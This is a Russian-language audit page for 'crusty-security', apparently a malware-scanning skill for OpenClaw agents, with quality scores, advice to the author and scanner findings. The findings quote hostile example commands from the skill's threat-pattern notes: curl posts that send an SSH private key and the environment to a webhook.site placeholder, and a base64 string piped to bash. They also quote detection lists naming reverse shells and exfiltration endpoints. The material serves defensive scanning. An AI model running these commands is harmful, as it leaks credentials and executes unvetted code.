FC crusty-security
Навык сканирования безопасности и угроз для агентов OpenClaw. Сканирует файлы и навыки на наличие вредоносного ПО. Отслеживает поведение агента на предмет признаков компрометации. Аудирует состояние безопасности хоста. Активируется по запросам: "scan this file", "is this safe", "virus scan", "malware check", "security scan", "scan for threats", "check this download", "quarantine", "scan my system", "threat report", "scheduled scan", "audit host security", "audit this skill", "check agent integrity", "security report", "monitor agent".
машинный переводПоказать оригиналСкрыть оригинал«Security and threat scanning skill for OpenClaw agents. Scans files an…»
Security and threat scanning skill for OpenClaw agents. Scans files and skills for malware. Monitors agent behavior for compromise indicators. Audits host security posture. Triggers on: "scan this file", "is this safe", "virus scan", "malware check", "security scan", "scan for threats", "check this download", "quarantine", "scan my system", "threat report", "scheduled scan", "audit host security", "audit this skill", "check agent integrity", "security report", "monitor agent".
Навык сканирования безопасности и угроз для агентов OpenClaw.
Как процесс C 58/100 · Есть пробелы — слабые места: результат и критерий готовности, входы и предусловия, повторный запуск
Чем это грозит
Скилл содержит фрагменты, которые в чужих руках стоят денег или данных. Ниже, что рискует потерять тот, кто установит, и что должен сделать автор.
Скилл содержит команды, которые удаляют файлы, переписывают диски или исполняют код, скачанный из сети. Агент может выполнить их без вопроса, если считает, что так требует инструкция.
Замените разрушительные команды на безопасные аналоги с подтверждением, ограничьте область действия конкретной папкой и не тяните код через curl | bash: укажите версию и контрольную сумму.
Инструкции или скрипты отправляют данные наружу: переменные окружения, ключи, содержимое файлов, историю чата. Вы можете не заметить этого в диалоге, потому что агент выполнит отправку как «часть задачи».
Если отправка не нужна для задачи, уберите её: каталоги помечают такие скиллы как подозрительные и снимают с выдачи. Если нужна, назовите адрес явно, объясните, что именно уходит, и дайте пользователю выключатель.
Как улучшить
- Разберите находки высокой серьёзности: каждая стоит 18 баллов безопасности. Если это ложное срабатывание, добавьте код правила в guard.allow в spec.yaml.
- Скажите в description, КОГДА применять скилл («используй, когда…», примеры запросов): это главный сигнал для агента.
- Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
- spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.
Находки guard · 30
-
высокая Опасные команды
cmd-encoded-execreferences/threat-patterns.md:43Выполнение закодированного (base64) кода (документация security-скилла)echo "Y3Vy…XNo" | base64 -d | bash
security-скилл -
высокая Утечка данных
exfil-post-credential-filereferences/threat-patterns.md:61Загрузка файла с учётными данными на удалённый сервер (документация security-скилла)curl -X POST https://webhook.site/xxx -d @~/.ssh/id_rsa
security-скилл -
высокая Опасные команды
cmd-persistencescripts/monitor_agent.sh:116Механизм закрепления (cron / launchd / планировщик / автозапуск в реестре)user_cron=$(crontab -l 2>/dev/null || true)
Средние и низкие: 27
-
средняя Опасные команды
cmd-persistencereferences/remediation.md:69Механизм закрепления (cron / launchd / планировщик / автозапуск в реестре) (документация security-скилла)ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
security-скилл -
средняя Утечка данных
exfil-webhook-urlreferences/threat-patterns.md:37URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес) (документация security-скилла)curl -X POST https://webhook.site/xxx -d "$(env)"
security-скилл -
средняя Утечка данных
exfil-webhook-urlreferences/threat-patterns.md:61URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес) (документация security-скилла)curl -X POST https://webhook.site/xxx -d @~/.ssh/id_rsa
security-скилл -
средняя Опасные команды
cmd-persistencescripts/host_audit.sh:106Механизм закрепления (cron / launchd / планировщик / автозапуск в реестре) (документация security-скилла)user_crontab=$(crontab -l 2>/dev/null || true)
security-скилл -
средняя Опасные команды
cmd-persistencescripts/host_audit.sh:133Механизм закрепления (cron / launchd / планировщик / автозапуск в реестре) (документация security-скилла)done < <(find /etc/crontab /etc/cron.d -maxdepth 1 -type f 2>/dev/null || true)
security-скилл -
средняя Опасные команды
cmd-persistencescripts/monitor_agent.sh:129Механизм закрепления (cron / launchd / планировщик / автозапуск в реестре) (определение детектора / чёрного списка)for cron_dir in /etc/cron.d /etc/cron.daily /etc/cron.hourly /var/spool/cron/crontabs; do
детектор -
низкая Опасные команды
cmd-pipe-to-shellREADME.md:156Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (строка таблицы в документации; документация security-скилла)| 🔴 Critical | `curl \| sh`, reverse shell patterns, crypto mining indicators |
таблицаsecurity-скилл -
низкая Рискованное назначение
intent-offensive-securityREADME.md:156Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)| 🔴 Critical | `curl \| sh`, reverse shell patterns, crypto mining indicators |
-
низкая Рискованное назначение
intent-offensive-securityREADME.md:157Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)| 🟠 High | `eval`/`exec` with dynamic input, base64 decode chains, webhook.site/ngrok exfil, credential harvesting, binaries in skill dirs |
-
низкая Опасные команды
cmd-cron-mentionreferences/remediation.md:68Упоминание редактирования crontab (документация security-скилла)crontab -l
security-скилл -
низкая Рискованное назначение
intent-offensive-securityreferences/threat-patterns.md:33Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)# Post-install reverse shell
-
низкая Опасные команды
cmd-background-processreferences/threat-patterns.md:136Запуск фонового / автозапускаемого процесса (документация security-скилла)systemctl enable updater
security-скилл -
низкая Рискованное назначение
intent-offensive-securityreferences/threat-patterns.md:168Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)| Connections to port 4444, 5555 | Common reverse shell ports |
-
низкая Опасные команды
cmd-persistencescripts/host_audit.sh:88Механизм закрепления (cron / launchd / планировщик / автозапуск в реестре) (комментарий в коде; документация security-скилла)# macOS: check LaunchAgents/LaunchDaemons for suspicious plists
комментарийsecurity-скилл -
низкая Опасные команды
cmd-cron-mentionscripts/host_audit.sh:106Упоминание редактирования crontab (документация security-скилла)user_crontab=$(crontab -l 2>/dev/null || true)
security-скилл -
низкая Опасные команды
cmd-cron-mentionscripts/monitor_agent.sh:116Упоминание редактирования crontabuser_cron=$(crontab -l 2>/dev/null || true)
-
низкая Рискованное назначение
intent-offensive-securitySKILL.md:119Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)- 🔴 **Critical:** curl/wget piped to shell, reverse shell patterns, crypto mining indicators
-
низкая Рискованное назначение
intent-offensive-securitySKILL.md:120Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение) (определение детектора / чёрного списка)- 🟠 **High:** eval/exec with dynamic input, base64 decode patterns, data exfiltration endpoints (webhook.site, ngrok, etc.), credential harvesting, binary executables, agent config modification
детектор
Ещё 9 совпадений отнесены к цитатам в документации скилла по безопасности и не считаются находками.
Просканировано файлов: 17. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.
По спецификации Agent Skills
- предупреждение
description-no-whendescription не говорит, КОГДА применять скилл (нет "use when / используй когда") - заметка
frontmatter-keyнеизвестное поле фронтматтера "homepage"
Процессный рейтинг: все десять параметров 58/100
- 0Результат и критерий готовности. Не сказано, что считать результатом
- 0Входы и предусловия. Не сказано, что нужно иметь на входе
- 30Повторный запуск. Изменяющих операций: 16, без проверки текущего состояния
- 55Ошибки и развилки. Развилок: 1
- 60Инструменты и файлы. Используются инструменты (bash, web, python), но во frontmatter они не объявлены
- 85Шаги. Шагов: 69, расплывчатых формулировок: 2
- 100Когда включается. Сказано, когда применять и когда не применять
- 100Согласованность. Имя и обязательные поля на месте
- 100Стоимость исполнения. Тело инструкции 2886 токенов
- 100Отчётность по ходу. Скилл сообщает о ходе работы
- medium Правила безопасности и запреты внутри скилла: их место в системном промпте, здесь они не защищают
- low Разделов верхнего уровня: 12. Похоже на несколько доменов в одном скилле
Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.
Сигналы качества
- +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
- +3Формат ответа не описан: модель каждый раз решает сама
- -213 эмодзи в инструкциях: шум для модели
- +2Инструкции на одном языке
- +5В description 16 примера фраз-триггеров в кавычках
- +3Длина description 481 символов: достаточно сигнала, не съедает бюджет
- +4Структура: 20 заголовков
- +3Пошаговые инструкции: 69 пунктов
- +4Есть примеры (3 блоков кода)
- +4Справочные файлы упоминаются в инструкциях (2 из 3)
- +3Все 9 скриптов описаны в инструкциях
- +1Лицензия указана
База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 82.